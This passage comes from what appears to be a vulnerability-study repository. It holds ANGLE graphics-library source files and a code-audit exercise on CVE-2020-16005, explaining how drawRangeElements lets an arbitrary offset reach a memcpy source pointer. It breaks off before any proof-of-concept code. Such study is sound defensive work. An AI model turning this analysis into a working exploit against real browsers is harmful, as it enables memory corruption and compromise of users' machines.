VertexStorageType::STATIC) \\\n        {                                                               \\\n            invalidateVertexBuffer = true;                              \\\n            mAttribsToTranslate.set(INDEX);                             \\\n        }                                                               \\\n        break;\n\nangle::Result VertexArray11::syncState(const gl::Context *context,\n                                       const gl::VertexArray::DirtyBits &dirtyBits,\n                                       gl::VertexArray::DirtyAttribBitsArray *attribBits,\n                                       gl::VertexArray::DirtyBindingBitsArray *bindingBits)\n{\n    ASSERT(dirtyBits.any());\n\n    Renderer11 *renderer         = GetImplAs<Context11>(context)->getRenderer();\n    StateManager11 *stateManager = renderer->getStateManager();\n\n    // Generate a state serial. This serial is used in the program class to validate the cached\n    // input layout, and skip recomputation in the fast path.\n    mCurrentStateSerial = renderer->generateSerial();\n\n    bool invalidateVertexBuffer = false;\n\n    gl::AttributesMask attributesToUpdate;\n\n    // Make sure we trigger re-translation for static index or vertex data.\n    for (size_t dirtyBit : dirtyBits)\n    {\n        switch (dirtyBit)\n        {\n            case gl::VertexArray::DIRTY_BIT_ELEMENT_ARRAY_BUFFER:\n            case gl::VertexArray::DIRTY_BIT_ELEMENT_ARRAY_BUFFER_DATA:\n            {\n                mLastDrawElementsType.reset();\n                mLastDrawElementsIndices.reset();\n                mLastPrimitiveRestartEnabled.reset();\n                mCachedIndexInfo.reset();\n                break;\n            }\n\n                ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_ATTRIB_FUNC)\n                ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_BINDING_FUNC)\n                ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_BUFFER_DATA_FUNC)\n\n            default:\n                UNREACHABLE();\n                break;\n        }\n    }\n\n    for (size_t attribIndex : attributesToUpdate)\n    {\n        updateVertexAttribStorage(context, stateManager, attribIndex);\n    }\n\n    if (invalidateVertexBuffer)\n    {\n        // TODO(jmadill): Individual attribute invalidation.\n        stateManager->invalidateVertexBuffer();\n    }\n\n    return angle::Result::Continue;\n}\n\nangle::Result VertexArray11::syncStateForDraw(const gl::Context *context,\n                                              GLint firstVertex,\n                                              GLsizei vertexOrIndexCount,\n                                              gl::DrawElementsType indexTypeOrInvalid,\n                                              const void *indices,\n                                              GLsizei instances,\n                                              GLint baseVertex,\n                                              GLuint baseInstance)\n{\n    Renderer11 *renderer         = GetImplAs<Context11>(context)->getRenderer();\n    StateManager11 *stateManager = renderer->getStateManager();\n\n    const gl::State &glState   = context->getState();\n    const gl::Program *program = glState.getProgram();\n    ASSERT(program);\n    const gl::ProgramExecutable &executable = program->getExecutable();\n\n    mAppliedNumViewsToDivisor = (program->usesMultiview() ? program->getNumViews() : 1);\n\n    if (mAttribsToTranslate.any())\n    {\n        const gl::AttributesMask &activeLocations = executable.getActiveAttribLocationsMask();\n        gl::AttributesMask activeDirtyAttribs     = (mAttribsToTranslate & activeLocations);\n        if (activeDirtyAttribs.any())\n        {\n            ANGLE_TRY(updateDirtyAttribs(context, activeDirtyAttribs));\n            stateManager->invalidateInputLayout();\n        }\n    }\n\n    if (mDynamicAttribsMask.any())\n    {\n        const gl::AttributesMask &activeLocations = executable.getActiveAttribLocationsMask();\n        gl::AttributesMask activeDynamicAttribs   = (mDynamicAttribsMask & activeLocations);\n\n        if (activeDynamicAttribs.any())\n        {\n            ANGLE_TRY(updateDynamicAttribs(context, stateManager->getVertexDataManager(),\n                                           firstVertex, vertexOrIndexCount, indexTypeOrInvalid,\n                                           indices, instances, baseVertex, baseInstance,\n                                           activeDynamicAttribs));\n            stateManager->invalidateInputLayout();\n        }\n    }\n\n    if (indexTypeOrInvalid != gl::DrawElementsType::InvalidEnum)\n    {\n        bool restartEnabled = context->getState().isPrimitiveRestartEnabled();\n        if (!mLastDrawElementsType.valid() || mLastDrawElementsType.value() != indexTypeOrInvalid ||\n            mLastDrawElementsIndices.value() != indices ||\n            mLastPrimitiveRestartEnabled.value() != restartEnabled)\n        {\n            mLastDrawElementsType        = indexTypeOrInvalid;\n            mLastDrawElementsIndices     = indices;\n            mLastPrimitiveRestartEnabled = restartEnabled;\n\n            ANGLE_TRY(updateElementArrayStorage(context, vertexOrIndexCount, indexTypeOrInvalid,\n                                                indices, restartEnabled));\n            stateManager->invalidateIndexBuffer();\n        }\n        else if (mCurrentElementArrayStorage == IndexStorageType::Dynamic)\n        {\n            stateManager->invalidateIndexBuffer();\n        }\n    }\n\n    return angle::Result::Continue;\n}\n\nangle::Result VertexArray11::updateElementArrayStorage(const gl::Context *context,\n                                                       GLsizei indexCount,\n                                                       gl::DrawElementsType indexType,\n                                                       const void *indices,\n                                                       bool restartEnabled)\n{\n    bool usePrimitiveRestartWorkaround = UsePrimitiveRestartWorkaround(restartEnabled, indexType);\n\n    ANGLE_TRY(GetIndexTranslationDestType(context, indexCount, indexType, indices,\n                                          usePrimitiveRestartWorkaround,\n                                          &mCachedDestinationIndexType));\n\n    unsigned int offset = static_cast<unsigned int>(reinterpret_cast<uintptr_t>(indices));\n\n    mCurrentElementArrayStorage =\n        ClassifyIndexStorage(context->getState(), mState.getElementArrayBuffer(), indexType,\n                             mCachedDestinationIndexType, offset);\n\n    return angle::Result::Continue;\n}\n\nvoid VertexArray11::updateVertexAttribStorage(const gl::Context *context,\n                                              StateManager11 *stateManager,\n                                              size_t attribIndex)\n{\n    const gl::VertexAttribute &attrib = mState.getVertexAttribute(attribIndex);\n    const gl::VertexBinding &binding  = mState.getBindingFromAttribIndex(attribIndex);\n\n    VertexStorageType newStorageType = ClassifyAttributeStorage(context, attrib, binding);\n\n    // Note: having an unchanged storage type doesn't mean the attribute is clean.\n    mAttribsToTranslate.set(attribIndex, newStorageType != VertexStorageType::DYNAMIC);\n\n    if (mAttributeStorageTypes[attribIndex] == newStorageType)\n        return;\n\n    mAttributeStorageTypes[attribIndex] = newStorageType;\n    mDynamicAttribsMask.set(attribIndex, newStorageType == VertexStorageType::DYNAMIC);\n\n    if (newStorageType == VertexStorageType::CURRENT_VALUE)\n    {\n        stateManager->invalidateCurrentValueAttrib(attribIndex);\n    }\n}\n\nbool VertexArray11::hasActiveDynamicAttrib(const gl::Context *context)\n{\n    const auto &activeLocations =\n        context->getState().getProgramExecutable()->getActiveAttribLocationsMask();\n    gl::AttributesMask activeDynamicAttribs = (mDynamicAttribsMask & activeLocations);\n    return activeDynamicAttribs.any();\n}\n\nangle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context,\n                                                const gl::AttributesMask &activeDirtyAttribs)\n{\n    const auto &glState  = context->getState();\n    const auto &attribs  = mState.getVertexAttributes();\n    const auto &bindings = mState.getVertexBindings();\n\n    for (size_t dirtyAttribIndex : activeDirtyAttribs)\n    {\n        mAttribsToTranslate.reset(dirtyAttribIndex);\n\n        auto *translatedAttrib   = &mTranslatedAttribs[dirtyAttribIndex];\n        const auto &currentValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);\n\n        // Record basic attrib info\n        translatedAttrib->attribute        = &attribs[dirtyAttribIndex];\n        translatedAttrib->binding          = &bindings[translatedAttrib->attribute->bindingIndex];\n        translatedAttrib->currentValueType = currentValue.Type;\n        translatedAttrib->divisor =\n            translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor;\n\n        switch (mAttributeStorageTypes[dirtyAttribIndex])\n        {\n            case VertexStorageType::DIRECT:\n                VertexDataManager::StoreDirectAttrib(context, translatedAttrib);\n                break;\n            case VertexStorageType::STATIC:\n            {\n                ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib));\n                break;\n            }\n            case VertexStorageType::CURRENT_VALUE:\n                // Current value attribs are managed by the StateManager11.\n                break;\n            default:\n                UNREACHABLE();\n                break;\n        }\n    }\n\n    return angle::Result::Continue;\n}\n\nangle::Result VertexArray11::updateDynamicAttribs(const gl::Context *context,\n                                                  VertexDataManager *vertexDataManager,\n                                                  GLint firstVertex,\n                                                  GLsizei vertexOrIndexCount,\n                                                  gl::DrawElementsType indexTypeOrInvalid,\n                                                  const void *indices,\n                                                  GLsizei instances,\n                                                  GLint baseVertex,\n                                                  GLuint baseInstance,\n                                                  const gl::AttributesMask &activeDynamicAttribs)\n{\n    const auto &glState  = context->getState();\n    const auto &attribs  = mState.getVertexAttributes();\n    const auto &bindings = mState.getVertexBindings();\n\n    GLint startVertex;\n    size_t vertexCount;\n    ANGLE_TRY(GetVertexRangeInfo(context, firstVertex, vertexOrIndexCount, indexTypeOrInvalid,\n                                 indices, baseVertex, &startVertex, &vertexCount));\n\n    for (size_t dynamicAttribIndex : activeDynamicAttribs)\n    {\n        auto *dynamicAttrib      = &mTranslatedAttribs[dynamicAttribIndex];\n        const auto &currentValue = glState.getVertexAttribCurrentValue(dynamicAttribIndex);\n\n        // Record basic attrib info\n        dynamicAttrib->attribute        = &attribs[dynamicAttribIndex];\n        dynamicAttrib->binding          = &bindings[dynamicAttrib->attribute->bindingIndex];\n        dynamicAttrib->currentValueType = currentValue.Type;\n        dynamicAttrib->divisor = dynamicAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor;\n    }\n\n    ANGLE_TRY(vertexDataManager->storeDynamicAttribs(context, &mTranslatedAttribs,\n                                                     activeDynamicAttribs, startVertex, vertexCount,\n                                                     instances, baseInstance));\n\n    VertexDataManager::PromoteDynamicAttribs(context, mTranslatedAttribs, activeDynamicAttribs,\n                                             vertexCount);\n\n    return angle::Result::Continue;\n}\n\nconst std::vector<TranslatedAttribute> &VertexArray11::getTranslatedAttribs() const\n{\n    return mTranslatedAttribs;\n}\n\nvoid VertexArray11::markAllAttributeDivisorsForAdjustment(int numViews)\n{\n    if (mAppliedNumViewsToDivisor != numViews)\n    {\n        mAppliedNumViewsToDivisor = numViews;\n        mAttribsToTranslate.set();\n        // mDynamicAttribsMask may have already been set (updateVertexAttribStorage\n        // We don't want to override DYNAMIC attribs as they will be handled separately.\n        mAttribsToTranslate = mAttribsToTranslate ^ mDynamicAttribsMask;\n    }\n}\n\nconst TranslatedIndexData &VertexArray11::getCachedIndexInfo() const\n{\n    ASSERT(mCachedIndexInfo.valid());\n    return mCachedIndexInfo.value();\n}\n\nvoid VertexArray11::updateCachedIndexInfo(const TranslatedIndexData &indexInfo)\n{\n    mCachedIndexInfo = indexInfo;\n}\n\nbool VertexArray11::isCachedIndexInfoValid() const\n{\n    return mCachedIndexInfo.valid();\n}\n\ngl::DrawElementsType VertexArray11::getCachedDestinationIndexType() const\n{\n    return mCachedDestinationIndexType;\n}\n\n}  // namespace rx\n"
  },
  {
    "path": "LEVEL_1/exercise_3/IndexDataManager.cpp",
    "content": "//\n// Copyright 2002 The ANGLE Project Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n//\n\n// IndexDataManager.cpp: Defines the IndexDataManager, a class that\n// runs the Buffer translation process for index buffers.\n\n#include \"libANGLE/renderer/d3d/IndexDataManager.h\"\n\n#include \"common/utilities.h\"\n#include \"libANGLE/Buffer.h\"\n#include \"libANGLE/Context.h\"\n#include \"libANGLE/VertexArray.h\"\n#include \"libANGLE/formatutils.h\"\n#include \"libANGLE/renderer/d3d/BufferD3D.h\"\n#include \"libANGLE/renderer/d3d/ContextD3D.h\"\n#include \"libANGLE/renderer/d3d/IndexBuffer.h\"\n\nnamespace rx\n{\n\nnamespace\n{\n\ntemplate <typename InputT, typename DestT>\nvoid ConvertIndexArray(const void *input,\n                       gl::DrawElementsType sourceType,\n                       void *output,\n                       gl::DrawElementsType destinationType,\n                       GLsizei count,\n                       bool usePrimitiveRestartFixedIndex)\n{\n    const InputT *in = static_cast<const InputT *>(input);\n    DestT *out       = static_cast<DestT *>(output);\n\n    if (usePrimitiveRestartFixedIndex)\n    {\n        InputT srcRestartIndex = static_cast<InputT>(gl::GetPrimitiveRestartIndex(sourceType));\n        DestT destRestartIndex = static_cast<DestT>(gl::GetPrimitiveRestartIndex(destinationType));\n        for (GLsizei i = 0; i < count; i++)\n        {\n            out[i] = (in[i] == srcRestartIndex ? destRestartIndex : static_cast<DestT>(in[i]));\n        }\n    }\n    else\n    {\n        for (GLsizei i = 0; i < count; i++)\n        {\n            out[i] = static_cast<DestT>(in[i]);\n        }\n    }\n}\n\nvoid ConvertIndices(gl::DrawElementsType sourceType,\n                    gl::DrawElementsType destinationType,\n                    const void *input,\n                    GLsizei count,\n                    void *output,\n                    bool usePrimitiveRestartFixedIndex)\n{\n    if (sourceType == destinationType)\n    {\n        const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType);\n        memcpy(output, input, count * dstTypeSize);\n        return;\n    }\n\n    if (sourceType == gl::DrawElementsType::UnsignedByte)\n    {\n        ASSERT(destinationType == gl::DrawElementsType::UnsignedShort);\n        ConvertIndexArray<GLubyte, GLushort>(input, sourceType, output, destinationType, count,\n                                             usePrimitiveRestartFixedIndex);\n    }\n    else if (sourceType == gl::DrawElementsType::UnsignedShort)\n    {\n        ASSERT(destinationType == gl::DrawElementsType::UnsignedInt);\n        ConvertIndexArray<GLushort, GLuint>(input, sourceType, output, destinationType, count,\n                                            usePrimitiveRestartFixedIndex);\n    }\n    else\n        UNREACHABLE();\n}\n\nangle::Result StreamInIndexBuffer(const gl::Context *context,\n                                  IndexBufferInterface *buffer,\n                                  const void *data,\n                                  unsigned int count,\n                                  gl::DrawElementsType srcType,\n                                  gl::DrawElementsType dstType,\n                                  bool usePrimitiveRestartFixedIndex,\n                                  unsigned int *offset)\n{\n    const GLuint dstTypeBytesShift = gl::GetDrawElementsTypeShift(dstType);\n\n    bool check = (count > (std::numeric_limits<unsigned int>::max() >> dstTypeBytesShift));\n    ANGLE_CHECK(GetImplAs<ContextD3D>(context), !check,\n                \"Reserving indices exceeds the maximum buffer size.\", GL_OUT_OF_MEMORY);\n\n    unsigned int bufferSizeRequired = count << dstTypeBytesShift;\n    ANGLE_TRY(buffer->reserveBufferSpace(context, bufferSizeRequired, dstType));\n\n    void *output = nullptr;\n    ANGLE_TRY(buffer->mapBuffer(context, bufferSizeRequired, &output, offset));\n\n    ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex);\n\n    ANGLE_TRY(buffer->unmapBuffer(context));\n    return angle::Result::Continue;\n}\n}  // anonymous namespace\n\n// IndexDataManager implementation.\nIndexDataManager::IndexDataManager(BufferFactoryD3D *factory)\n    : mFactory(factory), mStreamingBufferShort(), mStreamingBufferInt()\n{}\n\nIndexDataManager::~IndexDataManager() {}\n\nvoid IndexDataManager::deinitialize()\n{\n    mStreamingBufferShort.reset();\n    mStreamingBufferInt.reset();\n}\n\n// This function translates a GL-style indices into DX-style indices, with their description\n// returned in translated.\n// GL can specify vertex data in immediate mode (pointer to CPU array of indices), which is not\n// possible in DX and requires streaming (Case 1). If the GL indices are specified with a buffer\n// (Case 2), in a format supported by DX (subcase a) then all is good.\n// When we have a buffer with an unsupported format (subcase b) then we need to do some translation:\n// we will start by falling back to streaming, and after a while will start using a static\n// translated copy of the index buffer.\nangle::Result IndexDataManager::prepareIndexData(const gl::Context *context,\n                                                 gl::DrawElementsType srcType,\n                                                 gl::DrawElementsType dstType,\n                                                 GLsizei count,\n                                                 gl::Buffer *glBuffer,\n                                                 const void *indices,\n                                                 TranslatedIndexData *translated)\n{\n    GLuint srcTypeBytes = gl::GetDrawElementsTypeSize(srcType);\n    GLuint srcTypeShift = gl::GetDrawElementsTypeShift(srcType);\n    GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);\n\n    BufferD3D *buffer = glBuffer ? GetImplAs<BufferD3D>(glBuffer) : nullptr;\n\n    translated->indexType                 = dstType;\n    translated->srcIndexData.srcBuffer    = buffer;\n    translated->srcIndexData.srcIndices   = indices;\n    translated->srcIndexData.srcIndexType = srcType;\n    translated->srcIndexData.srcCount     = count;\n\n    // Context can be nullptr in perf tests.\n    bool primitiveRestartFixedIndexEnabled =\n        context ? context->getState().isPrimitiveRestartEnabled() : false;\n\n    // Case 1: the indices are passed by pointer, which forces the streaming of index data\n    if (glBuffer == nullptr)\n    {\n        translated->storage = nullptr;\n        return streamIndexData(context, indices, count, srcType, dstType,\n                               primitiveRestartFixedIndexEnabled, translated);\n    }\n\n    // Case 2: the indices are already in a buffer\n    unsigned int offset = static_cast<unsigned int>(reinterpret_cast<uintptr_t>(indices));\n    ASSERT(srcTypeBytes * static_cast<unsigned int>(count) + offset <= buffer->getSize());\n\n    bool offsetAligned = IsOffsetAligned(srcType, offset);\n\n    // Case 2a: the buffer can be used directly\n    if (offsetAligned && buffer->supportsDirectBinding() && dstType == srcType)\n    {\n        translated->storage     = buffer;\n        translated->indexBuffer = nullptr;\n        translated->serial      = buffer->getSerial();\n        translated->startIndex  = (offset >> srcTypeShift);\n        translated->startOffset = offset;\n        return angle::Result::Continue;\n    }\n\n    translated->storage = nullptr;\n\n    // Case 2b: use a static translated copy or fall back to streaming\n    StaticIndexBufferInterface *staticBuffer = buffer->getStaticIndexBuffer();\n\n    bool staticBufferInitialized = staticBuffer && staticBuffer->getBufferSize() != 0;\n    bool staticBufferUsable =\n        staticBuffer && offsetAligned && staticBuffer->getIndexType() == dstType;\n\n    if (staticBufferInitialized && !staticBufferUsable)\n    {\n        buffer->invalidateStaticData(context);\n        staticBuffer = nullptr;\n    }\n\n    if (staticBuffer == nullptr || !offsetAligned)\n    {\n        const uint8_t *bufferData = nullptr;\n        ANGLE_TRY(buffer->getData(context, &bufferData));\n        ASSERT(bufferData != nullptr);\n\n        ANGLE_TRY(streamIndexData(context, bufferData + offset, count, srcType, dstType,\n                                  primitiveRestartFixedIndexEnabled, translated));\n        buffer->promoteStaticUsage(context, count << srcTypeShift);\n    }\n    else\n    {\n        if (!staticBufferInitialized)\n        {\n            const uint8_t *bufferData = nullptr;\n            ANGLE_TRY(buffer->getData(context, &bufferData));\n            ASSERT(bufferData != nullptr);\n\n            unsigned int convertCount =\n                static_cast<unsigned int>(buffer->getSize()) >> srcTypeShift;\n            ANGLE_TRY(StreamInIndexBuffer(context, staticBuffer, bufferData, convertCount, srcType,\n                                          dstType, primitiveRestartFixedIndexEnabled, nullptr));\n        }\n        ASSERT(offsetAligned && staticBuffer->getIndexType() == dstType);\n\n        translated->indexBuffer = staticBuffer->getIndexBuffer();\n        translated->serial      = staticBuffer->getSerial();\n        translated->startIndex  = (offset >> srcTypeShift);\n        translated->startOffset = (offset >> srcTypeShift) << dstTypeShift;\n    }\n\n    return angle::Result::Continue;\n}\n\nangle::Result IndexDataManager::streamIndexData(const gl::Context *context,\n                                                const void *data,\n                                                unsigned int count,\n                                                gl::DrawElementsType srcType,\n                                                gl::DrawElementsType dstType,\n                                                bool usePrimitiveRestartFixedIndex,\n                                                TranslatedIndexData *translated)\n{\n    const GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);\n\n    IndexBufferInterface *indexBuffer = nullptr;\n    ANGLE_TRY(getStreamingIndexBuffer(context, dstType, &indexBuffer));\n    ASSERT(indexBuffer != nullptr);\n\n    unsigned int offset;\n    ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType,\n                                  usePrimitiveRestartFixedIndex, &offset));\n\n    translated->indexBuffer = indexBuffer->getIndexBuffer();\n    translated->serial      = indexBuffer->getSerial();\n    translated->startIndex  = (offset >> dstTypeShift);\n    translated->startOffset = offset;\n\n    return angle::Result::Continue;\n}\n\nangle::Result IndexDataManager::getStreamingIndexBuffer(const gl::Context *context,\n                                                        gl::DrawElementsType destinationIndexType,\n                                                        IndexBufferInterface **outBuffer)\n{\n    ASSERT(outBuffer);\n    ASSERT(destinationIndexType == gl::DrawElementsType::UnsignedShort ||\n           destinationIndexType == gl::DrawElementsType::UnsignedInt);\n\n    auto &streamingBuffer = (destinationIndexType == gl::DrawElementsType::UnsignedInt)\n                                ? mStreamingBufferInt\n                                : mStreamingBufferShort;\n\n    if (!streamingBuffer)\n    {\n        StreamingBuffer newBuffer(new StreamingIndexBufferInterface(mFactory));\n        ANGLE_TRY(newBuffer->reserveBufferSpace(context, INITIAL_INDEX_BUFFER_SIZE,\n                                                destinationIndexType));\n        streamingBuffer = std::move(newBuffer);\n    }\n\n    *outBuffer = streamingBuffer.get();\n    return angle::Result::Continue;\n}\n\nangle::Result GetIndexTranslationDestType(const gl::Context *context,\n                                          GLsizei indexCount,\n                                          gl::DrawElementsType indexType,\n                                          const void *indices,\n                                          bool usePrimitiveRestartWorkaround,\n                                          gl::DrawElementsType *destTypeOut)\n{\n    // Avoid D3D11's primitive restart index value\n    // see http://msdn.microsoft.com/en-us/library/windows/desktop/bb205124(v=vs.85).aspx\n    if (usePrimitiveRestartWorkaround)\n    {\n        // Conservatively assume we need to translate the indices for draw indirect.\n        // This is a bit of a trick. We assume the count for an indirect draw is zero.\n        if (indexCount == 0)\n        {\n            *destTypeOut = gl::DrawElementsType::UnsignedInt;\n            return angle::Result::Continue;\n        }\n\n        gl::IndexRange indexRange;\n        ANGLE_TRY(context->getState().getVertexArray()->getIndexRange(\n            context, indexType, indexCount, indices, &indexRange));\n        if (indexRange.end == gl::GetPrimitiveRestartIndex(indexType))\n        {\n            *destTypeOut = gl::DrawElementsType::UnsignedInt;\n            return angle::Result::Continue;\n        }\n    }\n\n    *destTypeOut = (indexType == gl::DrawElementsType::UnsignedInt)\n                       ? gl::DrawElementsType::UnsignedInt\n                       : gl::DrawElementsType::UnsignedShort;\n    return angle::Result::Continue;\n}\n\n}  // namespace rx\n"
  },
  {
    "path": "LEVEL_1/exercise_3/README.md",
    "content": "# Exercise 3\n\n## CVE-2020-16005\nI sugget you don't search any report about it to prevents get too much info like patch.\n\nThis time we do it by code audit\n### Details\n\n> When the WebGL2RenderingContext.drawRangeElements() API is processed in the ANGLE library, IndexDataManager::prepareIndexData is called internally.\nIn prepareIndexData, if glBuffer is a null pointer, the second argument of streamIndexData becomes indices. This value is the last parameter(offset) of the drawRangeElements, a 4-byte integer which can be arbitrarily set.\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n   https://bugs.chromium.org/p/chromium/issues/detail?id=1139398\n</details>\n\n--------\n\n### Set environment\nWe download the ANGLE\n```sh\ngit clone https://chromium.googlesource.com/angle/angle\n```\nThen checkout the branch, we set the commit hash\n```sh\ncd angle\ngit  reset --hard 6e1259375f2d6f579fe7430442a9657e00d15656  # we get it by issue page\n```\nDownload depot_tools and ninja\n```sh\ngit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git\necho 'export PATH=$PATH:\"/path/to/depot_tools\"' >> ~/.bashrc # or zshrc  \n\ngit clone https://github.com/ninja-build/ninja.git\ncd ninja && ./configure.py --bootstrap && cd ..\necho 'export PATH=$PATH:\"/path/to/ninja\"' >> ~/.bashrc\n```\n\nSync all standalone dependencies\n```sh\n# open new terminal to update env\ncd src/third_party/angle\npython scripts/bootstrap.py   # download depot_tools in advance\ngclient sync\n```\nGenerate ANGLE standalone build files and build\n```sh\ngn gen out/Debug              # download ninja in advance\nninja -j 10 -k1 -C out/Debug\n```\n\nmore detile in [offical](https://chromium.googlesource.com/angle/angle/+/HEAD/doc/BuildingAngleForChromiumDevelopment.md)\n\n### Related code\nwe can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/6e1259375f2d6f579fe7430442a9657e00d15656/src/libANGLE/renderer/d3d/IndexDataManager.cpp#135) or offline.\n\n```c++\n    // This function translates a GL-style indices into DX-style indices, with their description\n    // returned in translated.\n    // GL can specify vertex data in immediate mode (pointer to CPU array of indices), which is not\n    // possible in DX and requires streaming (Case 1). If the GL indices are specified with a buffer\n    // (Case 2), in a format supported by DX (subcase a) then all is good.\n    // When we have a buffer with an unsupported format (subcase b) then we need to do some translation:\n    // we will start by falling back to streaming, and after a while will start using a static\n    // translated copy of the index buffer.\n    angle::Result IndexDataManager::prepareIndexData(const gl::Context *context,\n                                                    gl::DrawElementsType srcType,\n                                                    gl::DrawElementsType dstType,\n                                                    GLsizei count,\n                                                    gl::Buffer *glBuffer,\n                                                    const void *indices,\n                                                    TranslatedIndexData *translated)\n    {\n        GLuint srcTypeBytes = gl::GetDrawElementsTypeSize(srcType);\n        GLuint srcTypeShift = gl::GetDrawElementsTypeShift(srcType);\n        GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);\n\n        BufferD3D *buffer = glBuffer ? GetImplAs<BufferD3D>(glBuffer) : nullptr;\n\n        translated->indexType                 = dstType;\n        translated->srcIndexData.srcBuffer    = buffer;\n        translated->srcIndexData.srcIndices   = indices;\n        translated->srcIndexData.srcIndexType = srcType;\n        translated->srcIndexData.srcCount     = count;\n\n        // Context can be nullptr in perf tests.\n        bool primitiveRestartFixedIndexEnabled =\n            context ? context->getState().isPrimitiveRestartEnabled() : false;\n\n        // Case 1: the indices are passed by pointer, which forces the streaming of index data\n        if (glBuffer == nullptr)\n        {\n            translated->storage = nullptr;\n            return streamIndexData(context, indices, count, srcType, dstType,  //call streamIndexData\n                                primitiveRestartFixedIndexEnabled, translated);\n        }\n\n        // Case 2: the indices are already in a buffer\n        unsigned int offset = static_cast<unsigned int>(reinterpret_cast<uintptr_t>(indices));\n        ASSERT(srcTypeBytes * static_cast<unsigned int>(count) + offset <= buffer->getSize());\n\n        bool offsetAligned = IsOffsetAligned(srcType, offset);\n\n        [ ... ]\n==============================================================================\nangle::Result IndexDataManager::streamIndexData(const gl::Context *context,\n                                                const void *data,\n                                                unsigned int count,\n                                                gl::DrawElementsType srcType,\n                                                gl::DrawElementsType dstType,\n                                                bool usePrimitiveRestartFixedIndex,\n                                                TranslatedIndexData *translated)\n{\n    const GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);\n\n    IndexBufferInterface *indexBuffer = nullptr;\n    ANGLE_TRY(getStreamingIndexBuffer(context, dstType, &indexBuffer));\n    ASSERT(indexBuffer != nullptr);\n\n    unsigned int offset;\n    ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType,  // call StreamInIndexBuffer\n                                  usePrimitiveRestartFixedIndex, &offset));\n\n    translated->indexBuffer = indexBuffer->getIndexBuffer();\n    translated->serial      = indexBuffer->getSerial();\n    translated->startIndex  = (offset >> dstTypeShift);\n    translated->startOffset = offset;\n\n    return angle::Result::Continue;\n}\n===================================================================================\nangle::Result StreamInIndexBuffer(const gl::Context *context,\n                                  IndexBufferInterface *buffer,\n                                  const void *data,\n                                  unsigned int count,\n                                  gl::DrawElementsType srcType,\n                                  gl::DrawElementsType dstType,\n                                  bool usePrimitiveRestartFixedIndex,\n                                  unsigned int *offset)\n{\n    const GLuint dstTypeBytesShift = gl::GetDrawElementsTypeShift(dstType);\n\n    bool check = (count > (std::numeric_limits<unsigned int>::max() >> dstTypeBytesShift));\n    ANGLE_CHECK(GetImplAs<ContextD3D>(context), !check,\n                \"Reserving indices exceeds the maximum buffer size.\", GL_OUT_OF_MEMORY);\n\n    unsigned int bufferSizeRequired = count << dstTypeBytesShift;\n    ANGLE_TRY(buffer->reserveBufferSpace(context, bufferSizeRequired, dstType));\n\n    void *output = nullptr;\n    ANGLE_TRY(buffer->mapBuffer(context, bufferSizeRequired, &output, offset));\n\n    ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex);  // call\n\n    ANGLE_TRY(buffer->unmapBuffer(context));\n    return angle::Result::Continue;\n}\n============================================================================================\nvoid ConvertIndices(gl::DrawElementsType sourceType,\n                    gl::DrawElementsType destinationType,\n                    const void *input,\n                    GLsizei count,\n                    void *output,\n                    bool usePrimitiveRestartFixedIndex)\n{\n    if (sourceType == destinationType)\n    {\n        const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType);\n        memcpy(output, input, count * dstTypeSize);\n        return;\n    }\n\n    if (sourceType == gl::DrawElementsType::UnsignedByte)\n    {\n        ASSERT(destinationType == gl::DrawElementsType::UnsignedShort);\n        ConvertIndexArray<GLubyte, GLushort>(input, sourceType, output, destinationType, count,\n                                             usePrimitiveRestartFixedIndex);\n    }\n    else if (sourceType == gl::DrawElementsType::UnsignedShort)\n    {\n        ASSERT(destinationType == gl::DrawElementsType::UnsignedInt);\n        ConvertIndexArray<GLushort, GLuint>(input, sourceType, output, destinationType, count,\n                                            usePrimitiveRestartFixedIndex);\n    }\n    else\n        UNREACHABLE();\n}\n```\n```c++\n    angle::Result drawRangeElements(const gl::Context *context,\n                                    gl::PrimitiveMode mode,\n                                    GLuint start,\n                                    GLuint end,\n                                    GLsizei count,\n                                    gl::DrawElementsType type,\n                                    const void *indices) override;\n```\n\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  You can get info about [WebGL2RenderingContext.drawRangeElements()](https://developer.mozilla.org/en-US/docs/Web/API/WebGL2RenderingContext/drawRangeElements) to know how to construct Poc.\n  Notice that if we call `drawRangeElements()` with a invalide parameter, the bug can be trigger. It is the easiest challenge of the three.\n  ```c++\n        angle::Result IndexDataManager::prepareIndexData(const gl::Context *context,\n                                                    gl::DrawElementsType srcType,\n                                                    gl::DrawElementsType dstType,\n                                                    GLsizei count,\n                                                    gl::Buffer *glBuffer,\n                                                    const void *indices,\n                                                    TranslatedIndexData *translated)\n    {\n        // Case 1: the indices are passed by pointer, which forces the streaming of index data\n        if (glBuffer == nullptr)                                               [1]\n        {\n            translated->storage = nullptr;\n            return streamIndexData(context, indices, count, srcType, dstType,  [2]\n                                primitiveRestartFixedIndexEnabled, translated);\n        }\n  ```\n  if `glBuffer == nullptr`, `indices` can be second parameter of `streamIndexData`.\n  ```c++\n    angle::Result IndexDataManager::streamIndexData(const gl::Context *context,\n                                                const void *data,       <----------\n                                                unsigned int count,\n                                                gl::DrawElementsType srcType,\n                                                gl::DrawElementsType dstType,\n                                                bool usePrimitiveRestartFixedIndex,\n                                                